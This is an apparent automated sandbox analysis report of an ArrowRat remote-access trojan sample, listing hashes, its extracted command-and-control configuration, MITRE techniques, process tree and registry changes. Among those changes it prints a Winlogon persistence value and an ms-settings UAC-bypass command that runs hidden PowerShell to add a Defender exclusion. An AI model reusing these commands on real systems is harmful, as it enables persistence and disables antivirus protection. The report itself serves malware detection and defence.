arrowrat | e694001c6e68ee030e201b680d2e1916ee121fe76f050121045a3fa2465e3ed6

Analysis

max time kernel
127s
max time network
122s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
18-11-2024 13:31

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General

Target

Client.exe
Size

158KB
MD5

16a66efc62e16195848483277f81cb3b
SHA1

5b3b70e9df9b025576386abfa9ed7c342e8d7a46
SHA256

e694001c6e68ee030e201b680d2e1916ee121fe76f050121045a3fa2465e3ed6
SHA512

87d682acb2b44506711e4758762e16c3f29101c5a20c1b144ff2c337c37a82f8bd0bbf13c65bb1e5e2423bcf3f042cd9d114256846aeb5c8e66119b64d6d1393
SSDEEP

3072:gbzxH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPMiO8Y:gbzxe0ODhTEPgnjuIJzo+PPcfPMd8

Score

10^/10

arrowrat pf030dc1ckld12od3 persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Pf030dc1ckld12od3

192.168.1.46:1337

Mutex

QplfyCtwT

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat
Arrowrat family
arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Pan\\dora"	Client.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

Processes:

explorer.exeClient.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings\shell	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Pan\\dora'"	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings\shell\open\command	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings\shell\open	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	Client.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

Client.exe

pid	Process
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe
2244	Client.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

Client.exeexplorer.exe

description	pid	Process
Token: SeDebugPrivilege	2244	Client.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe
Token: SeShutdownPrivilege	2960	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

Processes:

explorer.exe

pid	Process
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

Processes:

explorer.exe

pid	Process
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid	Process
2244	Client.exe

Suspicious use of WriteProcessMemory 49 IoCs

Processes:

Client.exeexplorer.exe

description	pid	Process	procid_target
PID 2244 wrote to memory of 2960	2244	Client.exe	30
PID 2244 wrote to memory of 2960	2244	Client.exe	30
PID 2244 wrote to memory of 2960	2244	Client.exe	30
PID 2960 wrote to memory of 3008	2960	explorer.exe	32
PID 2960 wrote to memory of 3008	2960	explorer.exe	32
PID 2960 wrote to memory of 3008	2960	explorer.exe	32
PID 2244 wrote to memory of 2800	2244	Client.exe	31
PID 2244 wrote to memory of 2800	2244	Client.exe	31
PID 2244 wrote to memory of 2800	2244	Client.exe	31
PID 2244 wrote to memory of 2800	2244	Client.exe	31
PID 2244 wrote to memory of 1576	2244	Client.exe	33
PID 2244 wrote to memory of 1576	2244	Client.exe	33
PID 2244 wrote to memory of 1576	2244	Client.exe	33
PID 2244 wrote to memory of 1576	2244	Client.exe	33
PID 2244 wrote to memory of 2756	2244	Client.exe	34
PID 2244 wrote to memory of 2756	2244	Client.exe	34
PID 2244 wrote to memory of 2756	2244	Client.exe	34
PID 2244 wrote to memory of 2756	2244	Client.exe	34
PID 2244 wrote to memory of 2868	2244	Client.exe	35
PID 2244 wrote to memory of 2868	2244	Client.exe	35
PID 2244 wrote to memory of 2868	2244	Client.exe	35
PID 2244 wrote to memory of 2868	2244	Client.exe	35
PID 2244 wrote to memory of 2156	2244	Client.exe	36
PID 2244 wrote to memory of 2156	2244	Client.exe	36
PID 2244 wrote to memory of 2156	2244	Client.exe	36
PID 2244 wrote to memory of 2156	2244	Client.exe	36
PID 2244 wrote to memory of 2832	2244	Client.exe	37
PID 2244 wrote to memory of 2832	2244	Client.exe	37
PID 2244 wrote to memory of 2832	2244	Client.exe	37
PID 2244 wrote to memory of 2832	2244	Client.exe	37
PID 2244 wrote to memory of 2840	2244	Client.exe	38
PID 2244 wrote to memory of 2840	2244	Client.exe	38
PID 2244 wrote to memory of 2840	2244	Client.exe	38
PID 2244 wrote to memory of 2840	2244	Client.exe	38
PID 2244 wrote to memory of 2716	2244	Client.exe	39
PID 2244 wrote to memory of 2716	2244	Client.exe	39
PID 2244 wrote to memory of 2716	2244	Client.exe	39
PID 2244 wrote to memory of 2716	2244	Client.exe	39
PID 2244 wrote to memory of 2724	2244	Client.exe	40
PID 2244 wrote to memory of 2724	2244	Client.exe	40
PID 2244 wrote to memory of 2724	2244	Client.exe	40
PID 2244 wrote to memory of 2724	2244	Client.exe	40
PID 2244 wrote to memory of 1192	2244	Client.exe	41
PID 2244 wrote to memory of 1192	2244	Client.exe	41
PID 2244 wrote to memory of 1192	2244	Client.exe	41
PID 2244 wrote to memory of 1192	2244	Client.exe	41
PID 2244 wrote to memory of 2160	2244	Client.exe	42
PID 2244 wrote to memory of 2160	2244	Client.exe	42
PID 2244 wrote to memory of 2160	2244	Client.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:3008
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2800
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:1576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2756
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2868
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2156
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2832
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2840
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2716
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:2724
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
  2⤵
  PID:1192
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2244-0-0x000007FEF5003000-0x000007FEF5004000-memory.dmp

Filesize
4KB

Download
memory/2244-1-0x0000000001150000-0x000000000117E000-memory.dmp

Filesize
184KB

Download
memory/2244-3-0x000007FEF5000000-0x000007FEF59EC000-memory.dmp

Filesize
9.9MB

Download
memory/2244-4-0x000007FEF5003000-0x000007FEF5004000-memory.dmp

Filesize
4KB

Download
memory/2244-5-0x000007FEF5000000-0x000007FEF59EC000-memory.dmp

Filesize
9.9MB

Download
memory/2960-9-0x0000000002B40000-0x0000000002B50000-memory.dmp

Filesize
64KB

Download